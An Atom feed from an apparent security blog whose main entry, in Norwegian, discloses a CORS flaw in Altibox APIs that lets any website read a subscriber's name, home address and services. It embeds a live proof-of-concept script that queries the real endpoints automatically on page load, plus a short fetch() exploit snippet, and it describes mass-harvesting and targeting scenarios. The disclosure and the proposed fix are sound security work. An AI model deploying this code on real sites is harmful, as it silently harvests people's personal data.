<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://norydlabs.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://norydlabs.github.io/" rel="alternate" type="text/html" /><updated>2026-09-02T14:38:01+00:00</updated><id>https://norydlabs.github.io/feed.xml</id><title type="html">Noryd.com</title><subtitle>NorydLabs | noryd.com
</subtitle><author><name>Noryd</name></author><entry><title type="html">Altibox vulnerability exposing personal info</title><link href="https://norydlabs.github.io/2026/08/10/altibox-english.html" rel="alternate" type="text/html" title="Altibox vulnerability exposing personal info" /><published>2026-08-10T00:00:00+00:00</published><updated>2026-08-10T00:00:00+00:00</updated><id>https://norydlabs.github.io/2026/08/10/altibox-english</id><author><name>Noryd</name></author><category term="security" /><category term="disclosure" /><summary type="html"><![CDATA[At the time of writing, a vulnerability exists which is affecting roughly 500 000 customers of Altibox. In short, any random website you visit can quietly grab your full name, home address, and what subscriptions you have, without you logging in or clicking anything.]]></summary></entry><entry><title type="html">Altibox-sårbarhet lekker personopplysninger</title><link href="https://norydlabs.github.io/2026/08/10/altibox.html" rel="alternate" type="text/html" title="Altibox-sårbarhet lekker personopplysninger" /><published>2026-08-10T00:00:00+00:00</published><updated>2026-08-10T00:00:00+00:00</updated><id>https://norydlabs.github.io/2026/08/10/altibox</id><content type="html" xml:base="https://norydlabs.github.io/2026/08/10/altibox.html"><![CDATA[<p>En sikkerhetsfeil hos Altibox gjør at omtrent en halv million kunder står i fare for å få lekket personopplysninger. Kort fortalt kan en hvilken som helst nettside du besøker hente ut fullt navn, hjemmeadresse og hvilke abonnementer du har, uten at du logger inn eller klikker på noe.</p>

<!--more-->

<div id="altibox-poc" style="border:1px solid var(--global-border-color, #ccc); border-radius:8px; padding:1.2em; margin:1.5em 0;">
  <p style="margin:0 0 0.8em;">
  Denne demoen vil forsøke å hente navn og hjemmeadresse din fra Altibox sine API-er. Det vil ikke fungere hvis du ikke er på en Altibox-internettforbindelse eller ikke har et TV-abonnement.
  </p>
  <button id="altibox-poc-run" type="button" style="padding:0.6em 1.4em; cursor:pointer; background:#d9534f; color:#fff; border:none; border-radius:6px; font-weight:bold; font-size:1em;">Kjør nå</button>
  <pre id="altibox-poc-output" style="white-space:pre-wrap; margin-top:1em; display:none; background:rgba(128,128,128,0.1); padding:0.8em; border-radius:6px;"></pre>
</div>

<script>
(function () {
  const btn = document.getElementById('altibox-poc-run');
  const out = document.getElementById('altibox-poc-output');
  if (!btn) return;

  const AUTH_URL = 'https://api.services.altibox.net/altibox/api/authentication/authenticate?method=BY_IP_ADDRESS';
  const LOCATIONS_URL = 'https://api.services.altibox.net/altibox/api/customer/servicelocations';
  const AUTO_START_DELAY_MS = 5000;
  const RETRY_DELAY_MS = 4000;
  const MAX_ATTEMPTS = 3;

  let running = false;
  let autoTimer = null;

  function show(text) {
    out.style.display = 'block';
    out.textContent = text;
  }

  async function fetchJson(url, options) {
    let response;
    try {
      response = await fetch(url, options);
    } catch (networkError) {
      throw new Error('Network/CORS request failed for ' + url + ' (' + networkError.message + ')');
    }
    if (!response.ok) {
      throw new Error('Request to ' + url + ' returned HTTP ' + response.status);
    }
    let json;
    try {
      json = await response.json();
    } catch (parseError) {
      throw new Error('Response from ' + url + ' was not valid JSON');
    }
    if (json.status !== 'success') {
      throw new Error('API responded with an error for ' + url);
    }
    return json;
  }

  function sleep(ms) {
    return new Promise(function (resolve) { setTimeout(resolve, ms); });
  }

  async function runOnce() {
    show('Forsøker å kontakte Altibox API...');

    let auth;
    try {
      auth = await fetchJson(AUTH_URL);
    } catch (err) {
      throw new Error('Kunne ikke autentisere: ' + err.message);
    }

    const user = auth.data && auth.data.user;
    const ticket = auth.data && auth.data.sessionTicket && auth.data.sessionTicket.identifier;

    if (!user || !ticket) {
      throw new Error('Autentisert, men svaret inneholdt ikke forventet bruker-/sesjonsdata.');
    }

    let lines = [
      'Name: ' + [user.firstName, user.lastName].filter(Boolean).join(' '),
      '',
      'Henter tjenestesteder...'
    ];
    show(lines.join('\n'));

    let locations;
    try {
      locations = await fetchJson(LOCATIONS_URL, {
        headers: { Sessionticket: ticket }
      });
    } catch (err) {
      throw new Error('Kunne ikke hente tjenestesteder: ' + err.message);
    }

    lines.pop();
    const sites = (locations.value || []).map(function (site) {
      const addr = site.address || {};
      const streetLine = [addr.streetaddress, addr.streetaddress2].filter(Boolean).join(', ');
      const cityLine = [addr.postalcode, addr.city].filter(Boolean).join(' ');
      return '  - ' + [streetLine, cityLine].filter(Boolean).join(', ') +
        (site.services ? ' [' + site.services.join(', ') + ']' : '');
    });

    lines.push('Tjenestesteder:');
    lines = lines.concat(sites.length ? sites : ['  (ingen returnert)']);
    show(lines.join('\n'));
  }

  async function runWithRetries() {
    if (running) return;
    running = true;
    btn.disabled = true;
    if (autoTimer) {
      clearTimeout(autoTimer);
      autoTimer = null;
    }

    let lastError = null;
    for (let attempt = 1; attempt <= MAX_ATTEMPTS; attempt++) {
      try {
        await runOnce();
        lastError = null;
        break;
      } catch (err) {
        lastError = err;
        console.error('Altibox PoC attempt ' + attempt + ' failed:', err);
        if (attempt < MAX_ATTEMPTS) {
          await sleep(RETRY_DELAY_MS);
        }
      }
    }

    if (lastError) {
      show('API-forespørsel mislyktes.\nDu er sannsynligvis ikke på en Altibox-forbindelse (eller sårbarheten er blitt fikset)');
    }

    running = false;
    btn.disabled = false;
  }

  btn.addEventListener('click', function () { runWithRetries(); });

  autoTimer = setTimeout(function () { runWithRetries(); }, AUTO_START_DELAY_MS);
})();
</script>

<h2 id="api-ene-som-er-berørt">API-ene som er berørt</h2>

<p>Altibox sin nettbaserte TV-plattform gjenkjenner deg på ditt hjemmenettverk uten å be deg logge inn. Den gjør dette ved å sjekke IP-adressen til forespørselen din opp mot deres oversikt over hvilken kunde som har den IP-adressen. Hvis den stemmer, svarer API-en med blant annet navn på kunden:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET https://api.services.altibox.net/altibox/api/authentication/authenticate?method=BY_IP_ADDRESS
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"success"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"sessionTicket"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"identifier"</span><span class="p">:</span><span class="w"> </span><span class="s2">"ffffffff-ffff-ffff-ffff-ffffffffffff"</span><span class="w"> </span><span class="p">},</span><span class="w">
    </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
      </span><span class="nl">"firstName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Ola"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"lastName"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Nordmann"</span><span class="p">,</span><span class="w">
      </span><span class="nl">"partnerNumber"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
      </span><span class="nl">"crmSystem"</span><span class="p">:</span><span class="w"> </span><span class="s2">"R6"</span><span class="w">
    </span><span class="p">},</span><span class="w">
    </span><span class="nl">"permissionLevel"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AUTH_BY_IP"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Det alene avslører fornavn og etternavn til hvem som enn spør. Men hvis du tar <code class="language-plaintext highlighter-rouge">sessionTicket</code>, kan du bruke den på et annet API-endepunkt som returnerer den faktiske adressen til kunden:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET https://api.services.altibox.net/altibox/api/customer/servicelocations
Sessionticket: ffffffff-ffff-ffff-ffff-ffffffffffff
</code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"status"</span><span class="p">:</span><span class="w"> </span><span class="s2">"success"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="p">{</span><span class="w">
      </span><span class="nl">"siteId"</span><span class="p">:</span><span class="w"> </span><span class="mi">1000001</span><span class="p">,</span><span class="w">
      </span><span class="nl">"address"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="nl">"city"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Oslo"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"postalcode"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0123"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"streetaddress"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Gatenavn 1"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"dwellingUnitNumber"</span><span class="p">:</span><span class="w"> </span><span class="s2">"H0101"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="nl">"services"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"TV"</span><span class="p">,</span><span class="w"> </span><span class="s2">"INTERNET"</span><span class="p">]</span><span class="w">
    </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Så hvis du kombinerer disse to, får du noens navn, hjemmeadresse og hvilke tjenester de betaler for.</p>

<h2 id="kan-utnyttes-av-hvilken-som-helst-nettside">Kan utnyttes av hvilken som helst nettside</h2>

<p>Normalt ville ikke dette vært noe problem, fordi nettlesere blokkerer et script på <code class="language-plaintext highlighter-rouge">https://evil.example</code> fra å lese svar fra en helt annen nettside som <code class="language-plaintext highlighter-rouge">https://api.services.altibox.net</code>. Sånn fungerer same-origin-policyen som standard.</p>

<p>Problemet er at begge de berørte endepunktene alltid svarer med:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Access-Control-Allow-Origin: *
</code></pre></div></div>

<p>Denne headeren forteller nettleseren at hvem som helst får lov til å lese dette svaret, uavhengig av hvor forespørselen kommer fra. Kombinert med at endepunktet bare trenger IP-adressen din (som hver nettleser sender automatisk), får du en situasjon der en hvilken som helst side på nettet bare kan kjøre en <code class="language-plaintext highlighter-rouge">fetch()</code> i bakgrunnen og lese hva som kommer tilbake, så lenge du surfer fra hjemmenettet ditt med Altibox.</p>

<p>Det krever ingen klikk og det er ingen popup, det er altså ingen tegn  at vises hvis en nettside henter ut dette.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Her er alt som trengs for å demonstrere sårbarheten - i praksis bare to forespørsler etter hverandre:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">auth</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span>
  <span class="dl">"</span><span class="s2">https://api.services.altibox.net/altibox/api/authentication/authenticate?method=BY_IP_ADDRESS</span><span class="dl">"</span>
<span class="p">).</span><span class="nf">then</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nf">json</span><span class="p">());</span>

<span class="kd">const</span> <span class="nx">locations</span> <span class="o">=</span> <span class="k">await</span> <span class="nf">fetch</span><span class="p">(</span>
  <span class="dl">"</span><span class="s2">https://api.services.altibox.net/altibox/api/customer/servicelocations</span><span class="dl">"</span><span class="p">,</span>
  <span class="p">{</span> <span class="na">headers</span><span class="p">:</span> <span class="p">{</span> <span class="na">Sessionticket</span><span class="p">:</span> <span class="nx">auth</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">sessionTicket</span><span class="p">.</span><span class="nx">identifier</span> <span class="p">}</span> <span class="p">}</span>
<span class="p">).</span><span class="nf">then</span><span class="p">(</span><span class="nx">r</span> <span class="o">=&gt;</span> <span class="nx">r</span><span class="p">.</span><span class="nf">json</span><span class="p">());</span>

<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">auth</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">user</span><span class="p">,</span> <span class="nx">locations</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</code></pre></div></div>

<h2 id="potensielle-konsekvenser">Potensielle konsekvenser</h2>

<ul>
  <li><strong>Masseinnsamling.</strong> Siden CORS-policyen tillater alle kilder, kan hvilken som helst nettside (eventuelt en annonse, en widget, eller et kompromittert script på en tilfeldig blogg) i det stille skrape navn og adresser fra alle Altibox-abonnenter som laster inn siden.</li>
  <li><strong>Målretet mot enkeltpersoner.</strong> Du kan sende noen en lenke, få dem til å åpne den, og umiddelbart vite hvem de er og hvor de bor.</li>
  <li><strong>Omfang.</strong> Altibox har en betydelig andel av det norske ISP-markedet, så dette kan realistisk påvirke hundretusenvis av brukere, antageligvis alle med aktivt internett- og TV-abonnement fra Altibox.</li>
</ul>

<h2 id="varsling-og-foreslått-løsning">Varsling og foreslått løsning</h2>

<p>Dette problemet ble meldt i fra til Altibox/Lyse på en ansvarlig måte i januar 2025.</p>

<p>Kjerneproblemen er at <code class="language-plaintext highlighter-rouge">Access-Control-Allow-Origin: *</code> headeren sitter på endepunkter som deler ut personopplysninger og bruker IP-basert innlogging.
Løsningen er ganske enkelt: lås den headeren ned til Altibox sine egne domener, som <code class="language-plaintext highlighter-rouge">tv.altibox.no</code> og <code class="language-plaintext highlighter-rouge">tvbeta.altibox.no</code>, for å forhindre andre nettsider fra å lese svaret.</p>]]></content><author><name>Noryd</name></author><category term="security" /><category term="disclosure" /><summary type="html"><![CDATA[En sikkerhetsfeil hos Altibox gjør at omtrent en halv million kunder står i fare for å få lekket personopplysninger. Kort fortalt kan en hvilken som helst nettside du besøker hente ut fullt navn, hjemmeadresse og hvilke abonnementer du har, uten at du logger inn eller klikker på noe.]]></summary></entry></feed>